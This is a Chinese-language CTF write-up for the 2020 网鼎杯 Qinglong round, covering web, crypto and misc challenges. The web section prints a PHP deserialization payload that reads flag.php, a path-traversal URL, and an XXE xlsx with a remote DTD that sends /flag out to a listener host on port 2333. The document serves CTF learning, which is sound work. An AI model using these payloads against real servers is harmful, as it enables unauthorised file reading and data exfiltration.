Single

[网鼎杯2020-青龙组]部分题解+笔记(未完成)6 min read

WEB

AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

FileHandler里定义的三个类型皆为protected的变量,protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3。

分开看,首先以get形式传入的str会进入这里,每个字符的ascii必须>32小于125,也就是说,会过滤掉0x00这种不可见字符:

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

这里将变量视为public类型就可绕过,看了y1ng男神的博客,学到了是因为php7.1+版本对属性类型不敏感。但是正常%(%00*%00)会被过滤,可以考虑用S。

S表示序列化内容支持16进制,S代替s的情况下\00就会被解析成%00(1个字符),而如果是小写s,\00就是一个斜线+2个零(3个字符)

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

这两个放在一起看,必须让$op等于2,可如果op === “2”的话__destruct()函数里的内容就会在自动把它设为”1″。

这里有一个漏洞点就是弱等于的情况下是不比较类型的,2==”2″。因此可以用int类型的2绕过。

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

看到file_get_contents第一时间想到的是用伪协议去读取,查看路径:

/proc/self/cmdline

题外话,/proc/self/下经常会看这些东西:

maps 记录一些调用的扩展或者自定义 so 文件
environ 环境变量
comm 当前进程运行的程序
cmdline 程序运行的绝对路径
cpuset docker 环境可以看 machine ID
cgroup docker环境下全是 machine ID 不太常用

得到配置文件路径/web/config/httpd.conf,可读取到/web/html,伪协议读取/web/html/flag.php。在buu复现里直接读取flag.php就ok。

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}

⚪参考:

https://www.gem-love.com/websecurity/2322.html

filejava

是一个文件上传页面,经测试存在任意文件读取:

通过报错得到它的绝对路径(/usr/local/tomcat/webapps/ROOT/WEB-INF/):

java题一般会读取web.xml,引用一下Match师傅博客里的内容:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

读取一下web.xml:

   <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/DownloadServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>ListFileServlet</servlet-name>
        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>ListFileServlet</servlet-name>
        <url-pattern>/ListFileServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>UploadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>UploadServlet</servlet-name>
        <url-pattern>/UploadServlet</url-pattern>
    </servlet-mapping>
</web-app>

然后根据web.xml读取class文件。规律是将包名里的“.”换成“/”,然后在/WEB-INF/classes/下,一共三个。比如:

/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

使用jd-gui对三个文件进行反编译,在DownloadServlet这里可以找到任意文件读取却不能读到flag的原因:

在UploadServlet中有如下代码:

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
  
  try {
    Workbook wb1 = WorkbookFactory.create(in);
    Sheet sheet = wb1.getSheetAt(0);
    System.out.println(sheet.getFirstRowNum());
  } catch (InvalidFormatException e) {
    System.err.println("poi-ooxml-3.10 has something wrong");
    e.printStackTrace();
  } 
}

文件名是以 excel- 开始,并且扩展名是 xlsx 的话就会用 poi 进行处理。

新建一个xxe.xlsx,修改后缀名为zip,接下来要在zip中修改[Content-Types].xml的内容如下,我这里如果解压修改,再重命名xlsx就会出错(玄学问题,卡了好久,感谢byc_404师傅:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://174.1.80.141/file.dtd">
%remote;%int;%send;
]>

再把文件名字改为excel-***.xlsx

因为在buu复现的,所以开了小号开个内网靶机,获取一个ip。

在内网机上新建shell.dtd,写入如下内容:

(引入的是h3zh1师傅的payload)

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.1.80.141:2333?h3zh1=%file;'>">

nc -lvp 2333,上传excel-***.xlsx,成功反弹:

CRYPTO

boom

first:this string md5:46e5efe6165a5afb361217446a2dbd01

somd5解出en5oy

This time:Here are have some formulas
3x-y+z=185
2x+3y-z=321
x+y+z=173

Last time: Kill it
x*x+x-7943722218936282=0

填入第一个值得到flag。

⚪sage求解方程:

https://github.com/skyblueee/sage_tutorial_zh/blob/master/tour_algebra.rst

you raise me up

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random

n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)
print 'm = ' + str(m)
print 'c = ' + str(c)

# m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
# c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499

pow(m, bytes_to_long(flag), n): 函数是计算m的bytes_to_long(flag)次方,如果n在存在,则再对结果进行取模(pow(m,bytes_to_long(flag)) %n)

m c n已知,求未知的bytes_to_long(flag),经EDS师傅指点这是离散对数问题,EDS师傅tql´͈ ᵕ `͈

sage求离散对数用discrete_log。

⚪SAGE(SAGEMATH)密码学基本使用方法:

https://blog.csdn.net/qq_39642801/article/details/104158699

MISC

虚幻2

题目下载

把后缀改为“png”,该图宽36像素,高度12像素。写脚本读取图片的RGB值(竖着读),每一个像素点的每一个RGB值都要逐个分析,“255”视为1,“0”视为0:

from PIL import Image

file = Image.open("file.png")
x = 36
y = 12
for i in range(x):
    for j in range(y):
        rgb = file.getpixel((i, j))
        if(rgb[0] == 255):
            print('1',end="")
        else:
            print('0',end="")
        if(rgb[1] == 255):
            print('1',end="")
        else:
            print('0',end="")
        if(rgb[2] == 255):
            print('1',end="")
        else:
            print('0',end="")

得到:

111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100000001111001000000001100000001111101111111110011000010011111111101111101000001111111001001001100000101111101011111110101011000000111110101111101010001110101001001110100010101111101010001101101010101111100010101111101010001011001011101111100010101111111111111010101010000110111111111111111111111111101010110011000100111111110010011100101001111111011011011111110000010101111010101100011111001111101010111101001000000110000111111111101110010110011001100110000001111111111111111111111001110111110000111111100000000000000000001101101110101111100010110110111101001111000010111111100010101111010010001100101001011111101010101011001000110001101110001111101111010011110111010000111100001111100101001111000000010001011010001111100100100001101100001000010011101111100010110001101011110100110111001111111001000111011001000101111111111111111111111010001010000010111111111111101010001110000111111111100010101111101010001101111111111111100010101111101010001010100111111111100010101111101011111011111111111111111110101111101000001101001111111111100000101111101111111111111111111111111111101111100000001100111111111111100000001111111111111111111111111111111111111111111111111111111111111111111111111

转为图片:

from PIL import Image
import re

x = 36 #宽
y = 36 #长

#长*宽是行数

im = Image.new("RGB",(x,y))
file = open(r'test.txt').read()
print(file)
black = (255,255,255)
white = (0,0,0)
z = 0

for i in range(0,x):
    for j in range(0,y):
        if(file[z]=='1'):
            im.putpixel((j,i),black)
        else:
            im.putpixel((j,i),white)
        z += 1
im.save("done.png",'png')

放大:

旋转条形码+旋转左下定位点+补全,这里测了好久,最后抱着必死的心态写了个“草”扫成功了Q Q

在线识别汉信码的网站已经凉掉了,识别用的中国编码app,感谢Hh0师傅。